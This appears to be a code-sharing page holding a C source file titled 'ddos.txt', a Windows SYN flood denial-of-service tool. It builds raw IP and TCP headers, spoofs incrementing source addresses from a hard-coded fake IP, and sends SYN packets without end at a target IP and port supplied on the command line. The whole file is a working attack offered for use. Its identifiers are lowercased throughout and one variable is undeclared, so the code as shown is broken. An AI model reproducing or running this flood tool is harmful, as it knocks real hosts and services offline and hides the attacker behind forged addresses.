?? ddos.txt
字號(hào):
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"wsock32")
#define fake_ip "201.79.131.18"
#define seq 0x28376839
#define right "===============coder paris-ye====================\n"
ushort checksum(ushort *buffer, int size);
int flood();
typedef struct tcphdr
{
ushort th_sport;
ushort th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
ushort th_win;
ushort th_sum;
ushort th_urp;
}tcp_header;
typedef struct iphdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceip;
unsigned int destip;
}ip_header;
struct
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}psd_header;
wsadata wsadata;
socket sockmain = (socket) null;
int errorcode=0,flag=true,timeout=2000,fakeipnet,fakeiphost,datasize=0,sendseq=0;
unsigned short activport=40000;
struct sockaddr_in sockaddr;
tcp_header tcpheader;
ip_header ipheader;
char sendbuf[128];
ushort checksum(ushort *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(ushort);
}
if(size) cksum+=*(uchar*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (ushort)(~cksum);
}
int main(int argc,char* argv[])
{
int portnum=0;
handle hthread=null;
char putinfo;
if(argc!=3)
{
printf("%s\n",right);
printf("invalid command,pls use:\n%s <ip> <port>\nexample:%s 192.168.100.244 80",argv[0],argv[0]);
return 1;
}
if((errorcode=wsastartup(makeword(2,1),&wsadata))!=0){
printf("wsastartup failed: %d\n",errorcode);
return 2;
}
sockmain=wsasocket(af_inet,sock_raw,ipproto_raw,null,0,wsa_flag_overlapped);
if(sockmain==invalid_socket)
{
printf("socket failed: %d\n",wsagetlasterror());
return 3;
}
errorcode=setsockopt(sockmain,ipproto_ip,ip_hdrincl,(char *)&flag,sizeof(int));
if(errorcode==socket_error)
{
printf("set sockopt failed: %d\n",wsagetlasterror());
return 4;
}
errorcode=setsockopt(sockmain,sol_socket,so_sndtimeo,(char*)&timeout,sizeof(timeout));
if(errorcode==socket_error)
{
printf("set sockopt time out failed: %d\n",wsagetlasterror());
return 5;
}
portnum=atoi(argv[2]);
memset(&sockaddr,0,sizeof(sockaddr));
sockaddr.sin_family=af_inet;
sockaddr.sin_addr.s_addr =inet_addr(argv[1]);
fakeipnet=inet_addr(fake_ip);
fakeiphost=ntohl(fakeipnet);
ipheader.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(ip_header)+sizeof(tcp_header));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = ipproto_tcp;
ipheader.checksum =0;
ipheader.sourceip = htonl(fakeiphost+sendseq);
ipheader.destip = inet_addr(argv[1]);
tcpheader.th_dport=htons(portnum);
tcpheader.th_sport = htons(portnum);
tcpheader.th_seq = htonl(seq+sendseq);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(tcp_header)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
psd_header.saddr=ipheader.sourceip;
psd_header.daddr=ipheader.destip;
psd_header.mbz=0;
psd_header.ptcl=ipproto_tcp;
psd_header.tcpl=htons(sizeof(tcpheader));
printf("%s\n",right);
hthread=createthread(null,0,(lpthread_start_routine)flood,0,create_suspended,&dw);
setthreadpriority(hthread,thread_priority_highest);
resumethread(hthread);
printf("warning[start]...........\npress any key to stop!\n");
putinfo=getchar();
terminatethread(hthread,0);
wsacleanup();
printf("\nstopd...........\n");
return 0;
}
int flood()
{
while(1)
{
if(sendseq++==65536) sendseq=1;
if(activport++==40010) activport=1000;
ipheader.checksum =0;
ipheader.sourceip = htonl(fakeiphost+sendseq);
tcpheader.th_seq = htonl(seq+sendseq);
tcpheader.th_sport = htons(activport);
tcpheader.th_sum = 0;
psd_header.saddr=ipheader.sourceip;
memcpy(sendbuf,&psd_header,sizeof(psd_header));
memcpy(sendbuf+sizeof(psd_header),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((ushort *)sendbuf,sizeof(psd_header)+sizeof(tcpheader));
memcpy(sendbuf,&ipheader,sizeof(ipheader));
memcpy(sendbuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendbuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
datasize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((ushort *)sendbuf,datasize);
memcpy(sendbuf,&ipheader,sizeof(ipheader)); errorcode=sendto(sockmain,sendbuf,datasize,0,(struct sockaddr*) &sockaddr,sizeof(sockaddr)); if(errorcode==socket_error) { printf("\ncan't connect this ip!pls check it.\n"); exitthread(1); } // sleep(1000); } return 0; }
?? 快捷鍵說(shuō)明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -